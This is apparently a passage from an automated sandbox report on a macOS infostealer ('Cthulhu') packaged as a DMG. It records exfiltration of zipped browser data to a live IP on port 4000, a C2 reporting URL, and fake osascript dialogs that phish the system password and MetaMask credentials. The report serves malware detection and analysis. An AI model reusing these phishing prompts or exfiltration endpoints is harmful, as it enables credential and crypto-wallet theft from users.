          Source: extracted file from submission: LaunchMach-O symbol: _syscall.sendfile
          Source: extracted file from submission: LaunchMach-O symbol: _getsockopt
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.sendto
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.sendmsgNInet6
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.sendmsgNInet4
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.sendmsgN
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.sendtoInet6
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.sendtoInet4
          Source: extracted file from submission: LaunchMach-O symbol: _connect
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.minRoutingSockaddrLen
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.libc_sendfile_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.libc_recvmsg_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.libc_sendto_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.libc_sendmsg_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.libc_socket_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.libc_setsockopt_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.libc_getsockopt_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.libc_getsockname_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.libc_connect_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.getsockopt
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.getsockname
          Source: extracted file from submission: LaunchMach-O symbol: _reflect.flag.mustBeExportedSlow
          Source: extracted file from submission: LaunchMach-O symbol: _reflect.methodReceiver
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2noDialClientConnPool.GetClientConn
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2noDialClientConnPool.MarkDead
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2noDialClientConnPool.closeIdleConnections
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2noDialH2RoundTripper.CloseIdleConnections
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2noDialH2RoundTripper.NewClientConn
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2noDialH2RoundTripper.RoundTrip
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2noDialH2RoundTripper.RoundTripOpt
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2padZeros
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2parseContinuationFrame
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2parseDataFrame
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2parseGoAwayFrame
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2parseHeadersFrame
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2parsePingFrame
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2parsePriorityFrame
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2parsePushPromise
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2parseRSTStreamFrame
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2parseSettingsFrame
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2parseUnknownFrame
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2parseWindowUpdateFrame
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2pseudoHeaderError.Error
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2putDataBufferChunk
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2readFrameHeader
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2registerHTTPSProtocol
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2registerHTTPSProtocol.func1
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2retryBackoffHook
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2settingName
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2settingsTimerMsg
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2shouldRetryDial
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2shouldRetryRequest
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2shutdownEnterWaitStateHook
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2shutdownTimerMsg
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2stickyErrWriter.Write
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2summarizeFrame
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2summarizeFrame.func1
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2traceGetConn
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2traceGotConn
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2transportResponseBody.Close
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2transportResponseBody.Read
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.http2transportResponseBody.Read.func1
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.idnaASCII
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.idnaASCIIFromURL
          Source: extracted file from submission: LaunchMach-O symbol: _net.(*Resolver).LookupPort
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.init
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.init.0
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.isCookieDomainName
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.isKnownInMemoryReader
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.isNotToken
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.isProtocolSwitchHeader
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.knownRoundTripperImpl
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.map.init.0
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.map.init.1
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.map.init.2
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.map.init.3
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.maxWriteWaitBeforeConnReuse
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.multipartByReader
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.newTransferWriter
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.noBody.Close
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.noBody.Read
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.noBody.WriteTo
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.nop
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.nopCloserType
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.nopCloserWriterToType
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.nothingWrittenError.Error
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.nothingWrittenError.Unwrap
          Source: extracted file from submission: LaunchMach-O symbol: _net.(*Resolver).lookupPort
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.omitBundledHTTP2
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.parseBasicAuth
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.parseContentLength
          Source: extracted file from submission: LaunchMach-O symbol: _net.(*TCPAddr).AddrPort
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.parsePostForm
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.persistConnWriter.ReadFrom
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.persistConnWriter.Write
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.portMap
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.readCookies
          Source: extracted file from submission: LaunchMach-O symbol: _net.(*TCPAddr).sockaddr
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.readSetCookies
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.readTransfer
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.readWriteCloserBody.Close
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.readWriteCloserBody.Write
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.refererForURL
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.removeEmptyPort
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.removeZone
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.reqWriteExcludeHeader
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.requestBodyReadError.Error
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.respExcludeHeader
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.rewindBody
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.sanitizeCookieValue
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.sanitizeOrWarn
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.sanitizeOrWarn.Printf.func1
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.seeUpcomingDoubleCRLF
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.send
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.send.Printf.func2
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.setRequestCancel
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.setRequestCancel.func1
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.setRequestCancel.func2
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.setRequestCancel.func3
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.setRequestCancel.func3.1
          Source: extracted file from submission: LaunchMach-O symbol: _net.(*UDPAddr).AddrPort
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.setRequestCancel.func4
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.shouldClose
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.shouldCopyHeaderOnRedirect
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.singleCRLF
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.socksReply.String
          Source: extracted file from submission: LaunchMach-O symbol: _net.(*UDPAddr).sockaddr
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.socksReply.String.jump3
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.socksaLongTimeAgo
          Source: extracted file from submission: LaunchMach-O symbol: _net.(*UDPConn).ReadFromUDPAddrPort
          Source: extracted file from submission: LaunchMach-O symbol: _net.(*UDPConn).ReadMsgUDPAddrPort
          Source: extracted file from submission: LaunchMach-O symbol: _net.(*UDPConn).WriteMsgUDPAddrPort
          Source: extracted file from submission: LaunchMach-O symbol: _net.(*UDPConn).WriteToUDPAddrPort
          Source: extracted file from submission: LaunchMach-O symbol: _net.(*UDPConn).readFromAddrPort
          Source: extracted file from submission: LaunchMach-O symbol: _net.(*UDPConn).writeMsgAddrPort
          Source: extracted file from submission: LaunchMach-O symbol: _net.(*UDPConn).writeToAddrPort
          Source: extracted file from submission: LaunchMach-O symbol: _internal/abi.(*InterfaceType).ExportedMethods
          Source: extracted file from submission: LaunchMach-O symbol: _internal/abi.(*FuncType).ExportedMethods
          Source: extracted file from submission: LaunchMach-O symbol: _internal/abi.(*ArrayType).ExportedMethods
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.socksnoDeadline
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.sockssplitHostPort
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.stateName
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.stringWriter.WriteString
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.stripPassword
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.testHookClientDoResult
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.testHookEnterRoundTrip
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.testHookMu
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.testHookPostPendingDial
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.testHookPrePendingDial
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.testHookReadLoopBeforeNextRead
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.testHookRoundTripRetried
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.testHookWaitResLoop
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.timeBeforeContextDeadline
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.tlsHandshakeTimeoutError.Error
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.tlsHandshakeTimeoutError.Temporary
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.tlsHandshakeTimeoutError.Timeout
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.transportReadFromServerError.Error
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.transportReadFromServerError.Unwrap
          Source: extracted file from submission: LaunchMach-O symbol: _net/http.transportRequest.AddCookie
          Source: global trafficTCP traffic: 192.168.0.56:49165 -> 89.208.103.185:4000
          Source: unknownDNS query: name: ipinfo.io
          Source: unknownDNS query: name: ipinfo.io
          Source: unknownTCP traffic detected without corresponding DNS query: 17.253.53.202
          Source: unknownTCP traffic detected without corresponding DNS query: 17.57.146.54
          Source: unknownTCP traffic detected without corresponding DNS query: 17.253.53.202
          Source: unknownTCP traffic detected without corresponding DNS query: 17.57.146.54
          Source: unknownTCP traffic detected without corresponding DNS query: 17.253.53.202
          Source: unknownTCP traffic detected without corresponding DNS query: 17.253.53.202
          Source: unknownTCP traffic detected without corresponding DNS query: 17.253.53.202
          Source: unknownTCP traffic detected without corresponding DNS query: 17.57.146.54
          Source: unknownTCP traffic detected without corresponding DNS query: 89.208.103.185
          Source: unknownTCP traffic detected without corresponding DNS query: 89.208.103.185
          Source: unknownTCP traffic detected without corresponding DNS query: 89.208.103.185
          Source: unknownTCP traffic detected without corresponding DNS query: 89.208.103.185
          Source: unknownTCP traffic detected without corresponding DNS query: 89.208.103.185
          Source: unknownTCP traffic detected without corresponding DNS query: 89.208.103.185
          Source: unknownTCP traffic detected without corresponding DNS query: 89.208.103.185
          Source: unknownTCP traffic detected without corresponding DNS query: 89.208.103.185
          Source: unknownTCP traffic detected without corresponding DNS query: 89.208.103.185
          Source: unknownTCP traffic detected without corresponding DNS query: 89.208.103.185
          Source: unknownTCP traffic detected without corresponding DNS query: 17.57.146.54
          Source: unknownTCP traffic detected without corresponding DNS query: 17.57.146.54
          Source: unknownUDP traffic detected without corresponding DNS query: 4.2.2.1
          Source: unknownUDP traffic detected without corresponding DNS query: 4.2.2.1
          Source: global trafficHTTP traffic detected: GET /json HTTP/1.1Host: ipinfo.ioUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
          Source: global trafficDNS traffic detected: DNS query: ipinfo.io
          Source: unknownHTTP traffic detected: POST /notification_archive HTTP/1.1Host: 89.208.103.185:4000User-Agent: Go-http-client/1.1Content-Length: 27524Content-Type: multipart/form-data; boundary=9efbc41621a58ea47f56f4e6d51cf237111c06a69db2fe1c147eec08dbeeAccept-Encoding: gzipData Raw: 2d 2d 39 65 66 62 63 34 31 36 32 31 61 35 38 65 61 34 37 66 35 36 66 34 65 36 64 35 31 63 66 32 33 37 31 31 31 63 30 36 61 36 39 64 62 32 66 65 31 63 31 34 37 65 65 63 30 38 64 62 65 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 35 36 35 37 33 30 36 37 31 31 0d 0a 2d 2d 39 65 66 62 63 34 31 36 32 31 61 35 38 65 61 34 37 66 35 36 66 34 65 36 64 35 31 63 66 32 33 37 31 31 31 63 30 36 61 36 39 64 62 32 66 65 31 63 31 34 37 65 65 63 30 38 64 62 65 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 2f 55 73 65 72 73 2f 53 68 61 72 65 64 2f 4e 57 2f 5b 43 48 5d 43 74 68 75 6c 68 75 5f 4d 61 63 5f 4f 53 5f 32 30 32 34 2d 30 38 2d 32 36 5f 30 35 2d 34 39 2d 32 35 2e 7a 69 70 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 50 4b 03 04 14 00 08 00 08 00 2c 56 1a 59 00 00 00 00 00 00 00 00 00 00 00 00 0d 00 09 00 41 75 74 6f 66 69 6c 6c 73 2e 74 78 74 55 54 05 00 01 b5 5d cc 66 72 b0 b5 b5 b5 d5 b4 83 01 05 e7 10 8f 50 1f 8f 50 85 e0 10 57 47 1f d7 20 05 5d 05 27 ff 10 05 1b 18 d0 00 29 77 e0 02 04 00 00 ff ff 50 4b 07 08 14 f4 97 cf 2d 00 00 00 36 00 00 00 50 4b 03 04 14 00 08 00 08 00 2c 56 1a 59 00 00 00 00 00 00 00 00 00 00 00 00 18 00 09 00 43 6f 6f 6b 69 65 73 2f 63 6f 6f 6b 69 65 73 5f 62 65 6f 64 2e 74 78 74 55 54 05 00 01 b4 5d cc 66 d2 4b cf cf 4f cf 49 d5 4b ce cf e5 74 73 f4 09 76 e5 d4 e7 0c 09 0a 75 e5 34 e0 34 34 36 36 37 b4 30 32 37 33 37 31 b1 30 b3 30 36 e1 74 f6 f7 0b 76 f5 0b e1 e4 ca 4f 2f c6 af d1 d8 d2 c2 d4 d2 cc dc c4 00 0c 38 fd 43 a2 38 b9 08 59 65 62 6a 62 6c 6e 64 62 61 66 66 61 cc 19 1f 1f 9c 9a 5c 5a 94 aa eb ea e7 e9 c2 c9 05 08 00 00 ff ff 50 4b 07 08 bb 73 90 aa 70 00 00 00 a7 00 00 00 50 4b 03 04 14 00 08 00 08 00 2c 56 1a 59 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 09 00 46 69 72 65 66 6f 78 2e 74 78 74 55 54 05 00 01 b5 5d cc 66 72 b0 b5 b5 b5 d5 b4 83 01 05 e7 10 8f 50 1f 8f 50 85 e0 10 57 47 1f d7 20 05 5d 05 27 ff 10 05 1b 18 d0 00 29 77 e0 02 04 00 00 ff ff 50 4b 07 08 14 f4 97 cf 2d 00 00 00 36 00 00 00 50 4b 03 04 14 00 08 00 08 00 2c 56 1a 59 00 00 00 00 00 00 00 00 00 00 00 00 08 00 09 00 49 6e 66 6f 2e 74 78 74 55 54 05 00 01 b5 5d cc 66 4c 8f 4f 4b c3 30 18 c6 ef fb 14 a1 27 85 35 dd d2 6d 6d 87 95 cd 39 d8 a1 20 b8 ee e2 2d a4 b1 7d 71 f9 43 fa f6 a0 e2 37 f3 e6 17 93 34 14 7d 6f f9 3d bf 07 f2 ec ca b2 2c 6f ef a7 23 87 fa 74 a9 4e 17 72 ae 8f fb ea f8 4c 62 f2 f0 54 93 bb e9 6e bc be 9b 7d ce 08 89 c0 46 5b 12 2d 57 05 65 8c
          Source: LaunchString found in binary or memory: http://89.208.103.185:4000/autocheckbytes.Reader.ReadAt:
          Source: LaunchString found in binary or memory: http://89.208.103.185:4000/notification_link?id=%v&message=%s&download_link=%s&passwords=%d&cards=%d
          Source: Launcher.dmgString found in binary or memory: http://www.apple.com/DTDs/PropertyList-1.0.dtd
          Source: Launch, 00001238.00000052.1.0000000200cb4000.0000000202c10000.rw-.sdmp, Launch, 00001238.00000052.2.0000000200cb4000.0000000202c10000.rw-.sdmpString found in binary or memory: http://www.apple.com/appleca/iphone.crl0
          Source: Launch, 00001238.00000052.1.0000000200cb4000.0000000202c10000.rw-.sdmp, Launch, 00001238.00000052.2.0000000200cb4000.0000000202c10000.rw-.sdmpString found in binary or memory: http://www.apple.com/appleca/root.crl0
          Source: autofills.52.dr, credit_cards.52.dr, tokens.52.drString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
          Source: LaunchString found in binary or memory: https://api.gofile.io/getServerhttps://%s.gofile.io/uploadFilefmt:
          Source: autofills.52.dr, credit_cards.52.dr, tokens.52.drString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
          Source: autofills.52.dr, credit_cards.52.dr, tokens.52.drString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
          Source: autofills.52.dr, credit_cards.52.dr, tokens.52.drString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
          Source: autofills.52.dr, credit_cards.52.dr, tokens.52.drString found in binary or memory: https://duckduckgo.com/ac/?q=
          Source: autofills.52.dr, credit_cards.52.dr, tokens.52.drString found in binary or memory: https://duckduckgo.com/chrome_newtab
          Source: autofills.52.dr, credit_cards.52.dr, tokens.52.drString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
          Source: LaunchString found in binary or memory: https://ipinfo.io/jsonlauncher_accounts.jsongzip:
          Source: Info.txt.52.drString found in binary or memory: https://ipinfo.io/missingauth
          Source: Launch, 00001238.00000052.1.000000024294c000.000000024428c000.rw-.sdmpString found in binary or memory: https://vega.github.io/schema/vega/v4.json
          Source: Launch, 00001238.00000052.1.0000000200cb4000.0000000202c10000.rw-.sdmp, Launch, 00001238.00000052.2.0000000200cb4000.0000000202c10000.rw-.sdmpString found in binary or memory: https://www.apple.com/appleca/0
          Source: autofills.52.dr, credit_cards.52.dr, tokens.52.drString found in binary or memory: https://www.ecosia.org/newtab/
          Source: autofills.52.dr, credit_cards.52.dr, tokens.52.drString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
          Source: unknownNetwork traffic detected: HTTP traffic on port 49164 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49164
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 54435
          Source: unknownNetwork traffic detected: HTTP traffic on port 54435 -> 443
          Source: classification engineClassification label: mal84.troj.spyw.evad.macDMG@0/28@2/0
          Source: logins.52.drBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
          Source: extracted file from submission: LaunchMach-O symbol: _main.isFirefoxRunning
          Source: extracted file from submission: LaunchMach-O symbol: _main.Firefox.func1
          Source: extracted file from submission: LaunchMach-O symbol: _main.Firefox
          Source: extracted file from submission: LaunchMach-O symbol: _isAuxiliaryVtabOperator.aOp
          Source: extracted file from submission: LaunchMach-O symbol: _main.isFirefoxRunning
          Source: extracted file from submission: LaunchMach-O symbol: _main.Firefox.func1
          Source: extracted file from submission: LaunchMach-O symbol: _main.Firefox
          Source: extracted file from submission: LaunchMach-O symbol: _isAuxiliaryVtabOperator.aOp
          Source: /bin/mkdir (PID: 1234)Hidden Directory created: /Users/rodrigo/.bash_sessionsJump to behavior
          Source: /Volumes/Launch/Launch (PID: 1251)Osascript command executed: osascript -e display dialog "To launch the application, you need to update the system settings\n\nPlease enter your password." default answer "" with hidden answer with icon caution buttons {"Cancel", "OK"} default button "OK" with title "System Preferences"Jump to behavior
          Source: /Volumes/Launch/Launch (PID: 1260)Osascript command executed: osascript -e display dialog "MacOS wants to access the MetaMask" default answer "" with icon POSIX file "/var/folders/lz/nsqjk8n92l30_9hwqkbhfpym0000gp/T/ic.png1884498256" buttons {"Cancel", "OK"} default button "OK" with title "Wallet Connect"Jump to behavior
          Source: /Volumes/Launch/Launch (PID: 1272)Pgrep executable: /usr/bin/pgrep -> pgrep firefoxJump to behavior
          Source: /bin/bash (PID: 1259)Rm executable: /bin/rm -> /bin/rm /Users/rodrigo/.bash_sessions/_expiration_lockfileJump to behavior
          Source: /bin/bash (PID: 1258)Touch executable: /usr/bin/touch -> /usr/bin/touch /Users/rodrigo/.bash_sessions/_expiration_check_timestampJump to behavior
          Source: /usr/bin/osascript (PID: 1251)AppleScript framework/component info plist opened: /System/Library/Components/AppleScript.component/Contents/Info.plistJump to behavior
          Source: /usr/bin/osascript (PID: 1260)AppleScript framework/component info plist opened: /System/Library/Components/AppleScript.component/Contents/Info.plistJump to behavior
          Source: /usr/bin/osascript (PID: 1251)AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/Info.plistJump to behavior
          Source: /usr/bin/osascript (PID: 1251)AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/Digital Hub Scripting.osax/Contents/Info.plistJump to behavior
          Source: /usr/bin/osascript (PID: 1260)AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/Info.plistJump to behavior
          Source: /usr/bin/osascript (PID: 1260)AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/Digital Hub Scripting.osax/Contents/Info.plistJump to behavior
          Source: /Volumes/Launch/Launch (PID: 1238)ZIP file created: /Users/rodrigo/Library/Application Support/Google/Chrome/Default/Local Extension Settings/new_folder.zipJump to dropped file
          Source: /Volumes/Launch/Launch (PID: 1238)ZIP file created: /Users/Shared/NW/[CH]Cthulhu_Mac_OS_2024-08-26_05-49-25.zipJump to dropped file
          Source: extracted file from submission: LaunchMach-O header: load_dylib -> /System/Library/Frameworks/Security.framework/Versions/A/Security
          Source: extracted file from submission: LaunchMach-O header: load_dylib -> /System/Library/Frameworks/Security.framework/Versions/A/Security
          Source: /usr/bin/osascript (PID: 1251)AppleKeyboardLayouts info plist opened: /System/Library/Keyboard Layouts/AppleKeyboardLayouts.bundle/Contents/Info.plistJump to behavior
          Source: /usr/bin/osascript (PID: 1260)AppleKeyboardLayouts info plist opened: /System/Library/Keyboard Layouts/AppleKeyboardLayouts.bundle/Contents/Info.plistJump to behavior

          Hooking and other Techniques for Hiding and Protection

          barindex
          Uses known network protocols on non-standard ports
          Source: unknownNetwork traffic detected: HTTP traffic on port 49165 -> 4000
          Source: LaunchExtracted file: section __zapple_names with 7.98846344 entropy (max. 8.0)
          Source: LaunchExtracted file: section __zdebug_str with 7.99804429 entropy (max. 8.0)
          Source: LaunchExtracted file: section __zdebug_abbrev with 7.83585548 entropy (max. 8.0)
          Source: LaunchExtracted file: section __zdebug_line with 7.99496587 entropy (max. 8.0)
          Source: LaunchExtracted file: section __zdebug_frame with 7.92853805 entropy (max. 8.0)
          Source: LaunchExtracted file: section __zdebug_info with 7.99882103 entropy (max. 8.0)
          Source: LaunchExtracted file: section __zdebug_aranges with 7.77199354 entropy (max. 8.0)
          Source: LaunchExtracted file: section __zdebug_ranges with 7.88802993 entropy (max. 8.0)
          Source: LaunchExtracted file: section __zdebug_loc with 7.99639558 entropy (max. 8.0)
          Source: LaunchExtracted file: section __zapple_types with 7.99169974 entropy (max. 8.0)
          Source: LaunchExtracted file: section __zapple_names with 7.989448 entropy (max. 8.0)
          Source: LaunchExtracted file: section __zdebug_str with 7.99827711 entropy (max. 8.0)
          Source: LaunchExtracted file: section __zdebug_abbrev with 7.81514564 entropy (max. 8.0)
          Source: LaunchExtracted file: section __zdebug_line with 7.99517522 entropy (max. 8.0)
          Source: LaunchExtracted file: section __zdebug_frame with 7.93814858 entropy (max. 8.0)
          Source: LaunchExtracted file: section __zdebug_info with 7.99882813 entropy (max. 8.0)
          Source: LaunchExtracted file: section __zdebug_aranges with 7.70663624 entropy (max. 8.0)
          Source: LaunchExtracted file: section __zdebug_loc with 7.99634622 entropy (max. 8.0)
          Source: LaunchExtracted file: section __zdebug_ranges with 7.87062821 entropy (max. 8.0)
          Source: LaunchExtracted file: section __zapple_types with 7.99185363 entropy (max. 8.0)
          Source: extracted file from submission: LaunchMach-O symbol: _ptrace
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.runtime.pTraceState
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.net/http/httptrace.GotConnInfo
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.ptrace1
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.libc_ptrace_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _ptrace
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.runtime.pTraceState
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.net/http/httptrace.GotConnInfo
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.ptrace1
          Source: extracted file from submission: LaunchMach-O symbol: _syscall.libc_ptrace_trampoline.abi0

          HIPS / PFW / Operating System Protection Evasion

          barindex
          Executes the "csrutil" command used to retrieve or modify the "System Integrity Protection" configuration
          Source: /usr/sbin/system_profiler (PID: 1271)Csrutil executable: /usr/bin/csrutil /usr/bin/csrutil statusJump to behavior

          Stealing of Sensitive Information

          barindex
          Writes files with sensitive content related to the Cthulhu stealer
          Source: /Volumes/Launch/Launch (PID: 1238)Cthulhu leak file: /Users/Shared/NW/Metamask_pass.txtJump to dropped file
          Source: /Volumes/Launch/Launch (PID: 1238)Cthulhu leak file: /Users/Shared/NW/Keychain.txtJump to dropped file
          Source: /Volumes/Launch/Launch (PID: 1238)Cthulhu leak file: /Users/Shared/NW/Autofills.txtJump to dropped file
          Source: /Volumes/Launch/Launch (PID: 1238)Cthulhu leak file: /Users/Shared/NW/Tokens.txtJump to dropped file
          Source: /Volumes/Launch/Launch (PID: 1238)Cthulhu leak file: /Users/Shared/NW/Info.txtJump to dropped file
          Source: /Volumes/Launch/Launch (PID: 1238)Cthulhu leak file: /Users/Shared/NW/UserInfo.txtJump to dropped file
